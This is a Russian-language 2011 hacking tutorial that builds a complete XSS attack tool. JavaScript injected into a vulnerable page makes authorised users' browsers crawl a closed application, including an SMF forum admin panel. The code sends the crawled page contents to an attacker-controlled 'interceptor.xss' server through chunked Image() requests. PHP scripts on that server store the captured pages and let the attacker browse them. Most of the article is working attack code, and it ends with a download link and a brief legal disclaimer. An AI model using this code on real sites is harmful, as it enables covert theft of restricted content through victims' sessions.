**XSS: Разведка боем.**

Автор: Кузьмин Антон anton.kuzmin.russia@gmail.com http://anton-kuzmin.blogspot.com/
Команда: Hack4sec hack4sec.team@gmail.com http://hack4sec.blogspot.com/
Дата: 30-05-2011

Здравствуйте. В данной статье я хочу привести один не стандартный пример использования XSS-уязвимостей. По крайней мере раньше я ни разу не видел чтоб подобные вещи где-то описывались. Представим себе следующую ситуацию. Есть сайт victim.xss. На нём располагается 2 веб-приложения. Одно не совсем важное для вас, имеющее XSS-уязвимость (пассивную/активную — не важно). К нему доступ у вас есть. И одно которое вас очень интересует, но доступа к которому вы не имеете (при обращении сервер возвращает код 403 или 401). Кроме того, вы даже не знаете как оно устроено внутри и что из себя представляет. При этом попытки кражи идентификационных данных тех людей, которые этот доступ имеют, ничего не дают — cookies идут с флагом HTTP-only, а веб-сервер не поддерживает метод TRACE, авторизированные сессии привязываются к IP-адресам или доступ к приложению ограничен по IP. Вообщем, если что и делать, то только используя обнаруженную в первом приложении XSS, заставлять браузеры имеющих доступ пользователей выполнять необходимые вам действия. Но какие? Ведь структуры второго приложения вы не знаете.
Решение здесь одно — пользуясь браузерами авторизованных лиц узнать содержимое страниц закрытого приложения. Из содержимого станет понятна его структура (ссылки, контент), а зная её можно строить дальнейший план действий.
Теперь вопрос за технической стороной. Здесь есть два варианта. Первый — «смотреть» страницы поодиночке. То есть код, помещённый через XSS в первое приложение, будет запрашивать интересующую ссылку с сервера атакующего, как-то её открывать (XHR/IFRAME) и передавать содержимое хозяину. Затем атакующий выбирает из полученного следующую ссылку, и так раз за разом приложение потихоньку будет «раскрываться». Это хоть и медленный вариант (его практическое применение может растянуться на недели), но зато самый лёгкий в реализации и полностью безопасный за счёт своей точечности для целевого приложения. Ведь каждый раз атакующий сам будет выбирать какую страницу просматривать.
Второй — «смотреть» страницы рекурсивно по нескольку штук, передавая полученные коды на сервер для исследования хозяином. Скорость данного варианта очень высока и полное раскрытие структуры приложения, при его большом размере, может занять менее дня (при интенсивном использовании со стороны клиентов). Но здесь есть и свои подводные камни. Например, можно случайно пройти по ссылке удаления чего-нибудь. Тем не менее, ниже я опишу именно этот вариант.

**Подготовка**

Итак, что нам понадобится? Для начала нужно создать 2 виртуальных хоста — victim.xss и interceptor.xss. Первый будет играть роль жертвы, второй — координационного сервера. В корне victim.xss нужно разместить файл xss-page.html. Он будет имитировать уязвимую к XSS-атакам страницу. Затем нужно установить приложение которое мы будем исследовать. Представим что доступа туда у нас нет. Я взял на эту роль форум SMF 1.13 и поместил его в директорию /forum/. После установки не забудьте войти в его админ-панель, чтоб при проведении экспериментов код-исследователь мог пролезть и туда. Далее на victim.xss разместите скрипт jQuery. Я решил использовать его, а не «голый» JS, просто для экономии времени и упрощения кода. К тому же сейчас на многих сайтах стоят различные JS-фреймворки которые при работе с XSS могут очень сильно облегчить нападающему жизнь.
Работа наша будет проходить следующим образом. В xss-page.html помещаем нужный код, открываем его в браузере который уже авторизирован на форуме и смотрим результат. Кстати, для слежения за результатами хорошо подойдёт FireBug со своим логированием сетевой активности.
Вот начальный код xss-page.html:

```
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
 <head>
  <title></title>
  <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 </head>
```

```
 <body>
   <a href="/forum/index.php">Закрытое приложение</a>

   <script type="text/javascript" src="/jquery-1.6.1.min.js"></script>
   <script type="text/javascript">
         alert('XSS');
   </script>

 </body>
</html>
```

Вместо «alert('XSS');» мы и будем размещать всё что нам понадобится.
Пока мы не начали основное действо нужно сделать небольшое отступление. Дело в том, что реализовать всё вышеописанное можно двумя способами — используя или XHR или Iframe. В самом начале работы над статьёй я выбрал второй вариант из-за его иллюзорной простоты. Судите сами — или работать через XHR и извлекать ссылки для последующего обхода с помощью регулярных выражений, либо работать с Iframe и доставать необходимые данные уже обращаясь к DOM документа, что само по себе легче, особенно с jQuery. Но не всё так просто, как кажется на первый взгляд. Перейти на XHR меня заставил тот факт что iframe нельзя заставить работать синхронно со скриптами. К тому же при попытке логирования происходящих действий я заметил очень странное поведение iframe`а — при открытии множества страниц с разными URL под ряд он по нескольку раз открывал одни и те же страницы, хотя такого вообще быть не должно. Причину я найти так и не смог, и в итоге решил просто обратиться к XHR.

**Пользовательская часть. Сбор ссылок.**
Приступим. Для начала необходимо объявить 2 глобальных массива, в первый из которых мы будем складывать ссылки для исследования, а во второй поместим уже исследованные адреса, дабы избежать повторений. Как вы наверное уже догадались, при большом объёме (в плане контента) целевого приложения второй массив будет постоянно расти и расти, что может негативно сказаться на размерах потребляемой браузером памяти. По другому, к сожалению, никак. Можно, конечно, поработать над уменьшением объёма хранимой информации (например хранить не ссылки, а их хеши), но эта тема выходит за рамки данной статьи.
Итак. Назовём эти массивы links, и checked.

```
var links = [];
var checked = [];
```

Теперь нужно создать несколько функций по работе с ними. Адреса для проверки нам потребуется и добавлять, и удалять из соответствующего массива. А вот проверенные ссылки мы будем только добавлять. Кроме этого нам понадобится функция проверки адресов на наличие в массиве checked. Исходя из этих требований напишем 4 небольшие функции.

```
function delLink(link) {
   // Если ссылка есть в общем массиве удаляем её
   if($.inArray(link, links) != -1)
      links.splice($.inArray(link, links), 1);
}

function addLink(link) {
   // Если ссылки в общем массиве нет, и она не относится к проверенным,
   // то мы можем её добавить
   if($.inArray(link, links) == -1 && !isChecked(link))
      links[links.length] = link;
}

function addChecked(link) {
```

```
    // Если ссылки в массиве проверенных нет, можно добавлять её туда
    if($.inArray(link, checked) == -1)
        checked[checked.length] = link;
}

function isChecked(link) {
    return $.inArray(link, checked) != -1;
}
```

Теперь объявим переменную limit. В неё поместим число ссылок, которое будет проверять атакуемый браузер за один раз. Оно обязательно должно быть небольшим чтоб не создавать пользователю лишних проблем.

```
var limit = 30;
```

И можем приступать к основной работе. Для её начала нам нужно иметь хотя бы одну ссылку. Её можно взять с сервера атакующего, а можно получить самостоятельно, что мы и сделаем. Как раз на xss-page.html имеется одна ссылка ведущая на интересующее нас приложение. Получим её вот так:

```
$('a').each(function(){
    if(this.href.indexOf('http://' + window.location.hostname) != -1 &&
       this.href != window.location.href)
    {
        addLink(this.href);
    }
});
```

Возможно вас удивит первое условие — наличие фрагмента «http://текущий-хост» в начале ссылки. Оно здесь потому, что мы работаем с DOM. А раз так, то получаем уже не то что написано в «href», а полноценные адреса подготовленные браузером, начинающиеся с «http://».
После того как исходные ссылки готовы, мы можем приступать к основным действиям. Для этого вызовем один раз функцию parseNextLink(). Как видно из её названия, обрабатывать ссылки мы будем по одиночке. Это даст нам полный контроль над ситуацией и снимет нагрузку на браузер, который при асинхронной проверке (и обработке содержимого) 30-50 ссылок начинает заметно тормозить. Что она будет делать? Вначале она проверит на истинность два условия: есть ли непроверенные ссылки в соответствующем массиве, и достигло ли количество ссылок в checked значения обозначенного в limit. Если хоть одно условие верно, функция прекращает работу кода. Если оба из них ложны — вызовет getLinks(), объявление которой описано ниже.

```
function parseNextLink() {
    if(checked.length >= limit || !links.length)
        return;

    // Проверяем последнюю ссылку из links
    getLinks(links[links.length-1]);
}
```

Ну и самая главная функция, которая будет проверять страницы и получать с них новые ссылки, - getLinks().

```
function getLinks(url) {
    addChecked(url); // Отмечаем эту ссылку как проверенную
    delLink(url); // Удаляем её из нуждающихся в проверке

    $.ajax({
        url: url,
```

```
        type: 'get',
        async: false,
        dataType: 'html',
        success: function(data){
            // Тут код извлечения ссылок из ответа
        }
    });
    parseNextLink();
}
```

Как видите, работает она в синхронном режиме. Сразу по завершении своей работы (ответ получен и обработан) вызывается parseNextLink(), которая, если не прервёт работу, то этой же функции передаст новую ссылку для проверки.
Теперь стоит подробнее рассмотреть код обработки полученных данных. В его начале запустим бесконечный цикл извлечения ссылок по регулярному выражению. Он остановится только тогда, когда из текущего ответа не будет более извлечено совпадений.

```
var hrefRegexp = /href=['"](.*?)['"]/ig;
while(true) {
    var result = hrefRegexp.exec(data);
    if(result == null) break;
    ...
}
```

При таком регулярном выражении exec() будет возвращать массив из двух ячеек с индексами 0 и 1. В первой будет лежать всё совпадение вместе с «href=», а во второй только содержимое «href='...'». Оно нам и нужно

```
var link = result[1];
```

Теперь один очень важный момент. Чтоб наш код случайно не открыл ссылку выхода из аккаунта, очистки cookies или ещё чего вредного, нам нужно соорудить механизм игнорирования неугодных адресов. Сделаем это так. Объявим глобальный массив с выражениями, присутствующими в таких ссылках.

```
var ignore  = ["logout","delete"];
```

А при обработке данных обойдём его, и поищем совпадения в текущем результате.

```
for(ign in ignore) {
    if(link.indexOf(ignore[ign]) != -1) {
        link = ''; // Пустой она дальше никуда не пройдёт
        break;
    }
}
```

Следующим шагом нам необходимо подстраховаться от дублей ссылок с «#». По сути для GET-запросов, которые мы шлём по средствам XHR, ссылки типа
http://victim.com/index.php
http://victim.com/index.php#aaa
Абсолютно одинаковы. Их содержимое может различаться только тогда, когда в зависимости от того что идёт после # страница на клиентской стороне меняется сама. Чтоб это произошло её надо обработать, а в нашем случае никакой обработки браузером получаемых страниц не происходит. Следовательно, нужно от таких ссылок избавляться. Сделаем это простым вырезанием всего что идёт после #.

```
link = (link.indexOf("#") != -1) ? link.substr(0, link.indexOf("#")) : link;
```

Ну и теперь ссылку можно помещать в общий массив, предварительно проверив её на принадлежность нашему целевому хосту.

```
if(link.indexOf('http://' + window.location.hostname) == 0)
   addLink(link);
```

Обратите внимание на то, что эта проверка может не сработать на других приложениях. SMF сам во все свои ссылки подставляет текущий хост, а, например, тот же phpBB3 этого не делает.
Ну вот и всё. Часть отвечающая за сбор ссылок готова. Теперь при запуске скрипт будет наполнять массивы links и checked рекурсивно обходя найденные URL. Убедиться в том что всё идёт верно можно с помощью вызова console.log() в нужных местах скрипта, ну и поглядывая в сетевой монитор FireBug.

**Пользовательская часть. Отчётность.**
На данный момент выполнена лишь половина всей работы. Очередь за отправкой данных на сторону сервера, который подконтролен атакующему. Здесь, опять же, есть 2 варианта действий. Во-первых, можно создать на странице невидимый iframe, через изменение его html-кода создать внутри него форму, направленную на нужный сервер, заполнить необходимыми данными (код страницы, её URL) и отправить методом POST. А можно сделать эту же операцию, но с помощью JS-класса Image(). То есть создавать для каждой страницы изображение, указывать в его свойстве src путь к серверу, и в этот путь ещё помещать данные для передачи типа
http://interceptor.com/log.php?url=...&code=...
На самом деле первый вариант только кажется простым. При его реализации возникает множество проблем. Например отправив первую форму нужно снова очистить iframe и «нарисовать» вторую, что нельзя будет сделать из-за Same Orign Policy, ведь в нём уже будут данные с другого сервера. Можно конечно изменить src на адрес принадлежащий целевому домену, дождаться загрузки и взяться менять код уже тогда, но это целая куча действий, которых в случае с Image() можно вообще не производить. Поэтому мы всё сделаем именно с помощью этого JS-класса.
Здесь стоит остановиться и вспомнить про то, что при передаче исходных кодов в URL можно нарваться на ошибку «414 Request-URL Too Long». Чтоб такого не произошло, мы будем слать код на сервер по частям. То есть делать несколько запросов под ряд. А количество символов передаваемого за раз кода обозначим в соответствующей глобальной переменной.

```
var transferCodeLen = 1000;
```

На стандартной конфигурации Apache этого числа вполне достаточно. И теперь опишем саму функцию передачи данных. Она будет принимать url передаваемой страницы (чтоб на сервере можно было связать принимаемый код с отдельной ссылкой) и её html-код.

```
function sendToInterceptor(url, html) {
   var img = new Image;
   do {
      img.src = "http://interceptor.xss/intercept.php?url=" + escape(url) + "&html=" + escape(html.substr(0,
transferCodeLen));
      html = html.substr( transferCodeLen );
   } while ( html.length > 0 );
}
```

Как видите, всё до безобразия просто — режем код на куски и, пока он не кончится, по очереди запрашиваем получившиеся URL на сервере-перехватчике.
Теперь займёмся скриптом intercept.php. Он будет делать простейшую вещь — принимать 2 уже известных вам параметра, записывать ссылку в ./urls.txt (там будут собираться адреса всех принятых ссылок), а html-содержимое вносить в файл ./pages/md5-хеш-url.

```
$url  = urldecode($_GET['url']);
$hash = md5($url);
```

```
file_put_contents("./pages/$hash", urldecode($_GET['html']), FILE_APPEND);
file_put_contents("./urls.txt", $url . "\n", FILE_APPEND);
```

Обратите внимание на то, что содержимое страниц постоянно дозаписывается. То есть перед каждым полностью новым запуском атаки нужно будет очищать содержимое папки pages.
Вернёмся к JS. Вызов функции sendToInterceptor() необходимо поместить прямо после окончания while-цикла обработки ссылок. Когда он закончился самое время отправить полученный html-код перехватчику т. к. далее произойдёт проверка следующего адреса.

**Серверная часть. Сохранение результатов.**
Следующий этап — сохранение состояния сканирования и последующее к нему возвращение. Вы же помните что в самом начале мы объявляли переменную limit, призванную сделать работу нашего кода практически незаметной? Естественно когда пользователь зайдёт на данную страницу ещё раз (то есть снова вызовет наш код) мы должны продолжить сканирование именно с того места, где остановились в прошлый раз. Следовательно, нам нужно как-то передать на сторону клиента старые массивы links и checked. Последний мы уже можем передавать т. к. его содержимое это фактически содержимое файла ./urls.txt. А вот первым сейчас и займёмся. Для этого напишем функцию report(). Она объединит всё содержимое links в одну строку, и уже знакомым нам методом передаст на сервер.

```
function report() {
   links   = escape(links.join("|||"));

   var img = new Image;
   do {
      img.src = "http://interceptor.xss/command.php?act=save&links=" + links.substr(0, transferCodeLen);
      links = links.substr( transferCodeLen );
   } while ( links.length > 0 );
}
```

Её вызов нужно поместить в parseNextLink(), как раз перед единственным «return;» останавливающем всю работу.
Теперь возьмёмся за скрипт command.php. Он будет выполнять такие действия как сохранение материала и отдача клиенту данных прошлого сканирования. Сохранение происходит крайне просто:

```
switch($_GET['act']) {
   case 'save':
      $links = urldecode($_GET['links']);
      file_put_contents("./links.txt", $links, FILE_APPEND);
   break;
}
```

А вот над выдачей старых данных придётся немного поработать. Из основного кода уберём объявление массивов links и checked, и заменим их script-тегом, обращающимся к interceptor.xss.

```
<script type="text/javascript" src="http://interceptor.xss/command.php?act=get"></script>
```

В command.php, в случае приёма «get», считаем данные из urls.txt и links.txt, превратим их в массивы, переведём в JSON и выведем на экран, предварительно подписав в начале «var имя-переменной =»

```
if(file_exists("./links.txt") AND filesize("./links.txt") > 0) {
   $links = file_get_contents("./links.txt");
   $links = explode("|||", $links);
   $links = json_encode($links);
} else $links = "[]";
print "var links = $links;";
```

```
if(file_exists("./urls.txt") AND filesize("./urls.txt") > 0) {
   $checked = file("./urls.txt");
   $checked = array_map('trim', $checked);
   $checked = json_encode($checked);
} else $checked = "[]";
print "var checked = $checked;";
```

Возможно вас смутят строки типа

```
} else $links = "[]";
```

Я тоже сначала подумал что можно через json_encode() прогнать пустой массив и получится что-то типа

```
var links = [];
```

Но это не так. Получается

```
var links = [""];
```

А эта пустая ячейка только создаст нам проблем. И в конце этого кода необходимо очистить ./links.txt, ведь скоро придёт новая партия ссылок и они будут уже совсем другими.

```
file_put_contents("./links.txt", "");
```

В возвращении списка проверенных ссылок есть один нюанс. Функция parseNextLink() проверяет достижение лимита именно по количеству записей в checked. А как только сканирование пойдёт второй раз (checked уже будет иметь количество ссылок размером в лимит) лимит нам необходимо будет увеличить, чтоб работа сразу же не остановилась. Поэтому в начало кода, после описания переменной limit, добавим вот такую строку:

```
limit = checked.length + limit;
```

Вы наверное уже догадались что с ./urls.txt необходимо тоже что-то делать. Там постоянно будут скапливаться повторяющиеся URL. Ими мы займёмся в самом конце, когда содержимое links уже будет сохранено. Для этого отведём отдельную ячейку нашего основного switch, которая будет выполнятся если в параметре «act» будет передано слово «end».

```
if(file_exists("./urls.txt") AND filesize("./urls.txt") > 0) {
   $urls = file("./urls.txt");
   $urls = array_map('trim', $urls);
   $urls = array_unique($urls);
   file_put_contents("./urls.txt", implode("\n", $urls));
}
```

А вызов всего этого поместим в конце уже описанной функции report():

```
img.src = "http://interceptor.xss/command.php?act=end";
```

Итак. Основная часть работы полностью закончена. Что у нас есть? При первом обращении клиент начинает новое сканирование, стартовыми ссылками при котором являются те, что расположены на уязвимой странице. В процессе сканирования на сервер-перехватчик передаётся содержимое всех страниц к которым он обращается. В конце серверу отправляются ссылки которые стояли в очереди, но из-за достижения лимита не смогли быть проверены. При последующих просмотрах уязвимой страницы сканирование уже будет продолжаться с того места, где оно закончилось в прошлый раз.
На данный момент у нас имеется полностью рабочий вариант кода позволяющего записывать содержимое страниц получаемых от чужого лица (или, правильнее сказать, от чужого браузера).

Остаётся только один небольшой штрих. Чтоб XSS-вставка не растягивалась на один script-тег и огромный кусок JS-кода, мы поместим его на сервер intercept.xss, в файл /static.js, а при запросе действия «get», сразу после вывода содержимого двух основных массивов, добавим строку

```
readfile("./static.js");
```

Теперь XSS-вставка на уязвимой странице состоит только из одного script-тега, что вполне приемлемо для реальных условий.

**Серверная часть. Просмотр результатов.**
Наконец перейдём к визуализации всего что получено нашим скриптом. Выглядеть это будет так. При обращении к определённому скрипту (назовём его view.php) будет отображаться страница с двумя фреймами, в первом из которых будет расположен список доступных ссылок, а во втором по мере запросов будет отображаться их содержимое. Основу view.php будет составлять массив шаблонов, хранящий в себе все необходимые html-конструкции, и одна switch-конструкция, которая в зависимости от значения параметра «act» будет выполнять те или иные действия. Если этого параметра не будет передано вообще, то скрипт отобразит набор фреймов.

```
<?php
$tpl = array();
$tpl['up'] = <<<HTML
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
  <head>
    <title>Просмотр страниц</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  </head>
HTML;
$tpl['down'] = <<<HTML
</html>
HTML;
$tpl['frames'] = <<<HTML
    {$tpl['up']}
    <frameset cols="350,*">
        <frame src="/view.php?act=menu" name="leftFrame" scrolling="yes"/>
        <frame src="/view.php?act=blank" name="mainFrame" />
    </frameset>
    {$tpl['down']}
HTML;

$act = isset($_GET['act']) ? $_GET['act'] : '';
switch($act) {
    default:
        print $tpl['frames'];
    break;
}
```

Если в «act» будет передано «menu» мы считаем все ссылки из urls.txt и выведем их по отдельному шаблону.

```
$urls = file("./urls.txt");
foreach(array_map('trim', $urls) as $url)
    printf($tpl['url'], md5($url), $url);
```

Сам шаблон:

```
$tpl['url'] = <<<HTML
   <a href="/view.php?act=view&page=%s" target="mainFrame" style="font-size:10px;">%s</a><br />
HTML;
```

В шаблоне фреймов видно что есть ещё и вариант параметра «act» с содержимым «blank». Это начальная страница нашего просмотрщика. Вот её шаблон:

```
$tpl['blank'] = <<<HTML
   {$tpl['up']}
   <body>
      Выберите URL для просмотра
   </body>
   {$tpl['down']}
HTML;
```

и код

```
print $tpl['blank'];
```

Ну и самый последний шаг — просмотр перехваченных страниц. Здесь всё достаточно тривиально. Выше вы видели что при открытии страницы скрипту передаётся её хеш. То есть для начала нам нужно просто получить содержимое одного файла из директории pages.

```
$content = file_get_contents("./pages/" . $_GET['page']);
$content = stripslashes($content); // Удаляем слеши оставленные escape()
```

Затем следует один интересный момент. Мы заменим в этом коде ссылки имеющиеся у нас в ./urls.txt на ссылки к скрипту view.php. Это сильно улучшит навигацию по перехваченному контенту, ведь искать каждый раз интересующую вас ссылку в левом меню довольно надоедливое занятие. А так вы сможете просто кликнуть по ней как будто вы работаете непосредственно с атакованным приложением.

```
$urls = file("./urls.txt");
foreach(array_map('trim', $urls) as $url)
   $content = str_replace("\"$url\"", "/view.php?act=view&page=" . md5($url), $content);
```

Стоит остановиться на кавычках в первом аргументе str_replace(). В нашем случае они двойные т. к. в ссылках SMF содержимое параметра «href» обрамляется именно ими. В других случаях кавычки могут быть одинарные, или их вообще может не быть. Если же производить замену без их учёта, просто меняя один URL на другой, то можно столкнуться с ситуацией, когда у вас в ссылках замене подвергнется лишь часть. Например ссылка
http://site.com/index.php?a=1&b=2
будет «изломана» view.php-аналогом ссылки
http://site.com/index.php?a=1
Поэтому данный фрагмент кода, как и некоторые описанные до этого, требуют подгонки под конкретное приложение.
И теперь завершающий штрих, опять же, улучшающий навигацию. Мы вновь обратимся к jQuery. Будем подключать его к каждой отображаемой странице, а следом за ним выведем код, который все ссылки, не содержащие фразу «view.php?act=view», перечеркнёт. Таким образом мы сразу будем видеть те ссылки, содержимым которых мы владеем.
Вот html-шаблон:

```
$tpl['links-script'] = <<<HTML
   <script type="text/javascript" src="/jquery-1.6.1.min.js"></script>
   <script type='text/javascript'>
      $('a').each(function(){
         if(this.href.indexOf('view.php?act=view') == -1) {
```

```
            $(this).css('text-decoration', 'line-through');
        }
    });
  </script>
HTML;
```

А вод код, которым должно кончаться действие view:

```
print "$content\n{$tpl['links-script']}";
```

Пример того что получается в итоге:


На скриншоте хорошо видно что JS-код смог пробраться даже в админ-панель и считать оттуда пару страниц. Обратите внимание - отображение страничек полностью идентично натуральному. Как будто мы находимся непосредственно внутри форума. Так получилось потому что внутри параметров href были найдены ссылки на css-стили, которые, соответственно, были автоматически нашим кодом подгружены. С victim.xss тут запрашиваются только картинки. Хотя вы можете модифицировать всё вышеприведённое таким образом, чтоб с целевого приложения «забирались» ещё и графические элементы.

**Напоследок.**
И напоследок хотелось бы сказать о нескольких важных моментах. Первый. В конце страниц SMF находится JS-код, вызывающий сильное торможение при отображении в просмотрщике. Кончается всё тем, что Firefox предлагает попросту остановить выполнение сценариев. Он идёт перед самым последним div`ом, содержащим текст «Loading...». Лучше его автоматически вырезать при записи в директорию pages.
Второй. Для быстрого тестирования результата повышайте лимит адресов до 100 или даже 200. Но при этом не забывайте отключать FireBug. При таком количестве запросов он будет страшно тормозить браузер.
Ну и третий. Не следует использовать данный материал в целях противоречащих нашим законам. Он опубликован лишь как небольшое собственное исследование и только для ознакомления.

Файлы к данной статье можно скачать по ссылке https://hack4sec.opendrive.com/files/?29121529_Qt7zi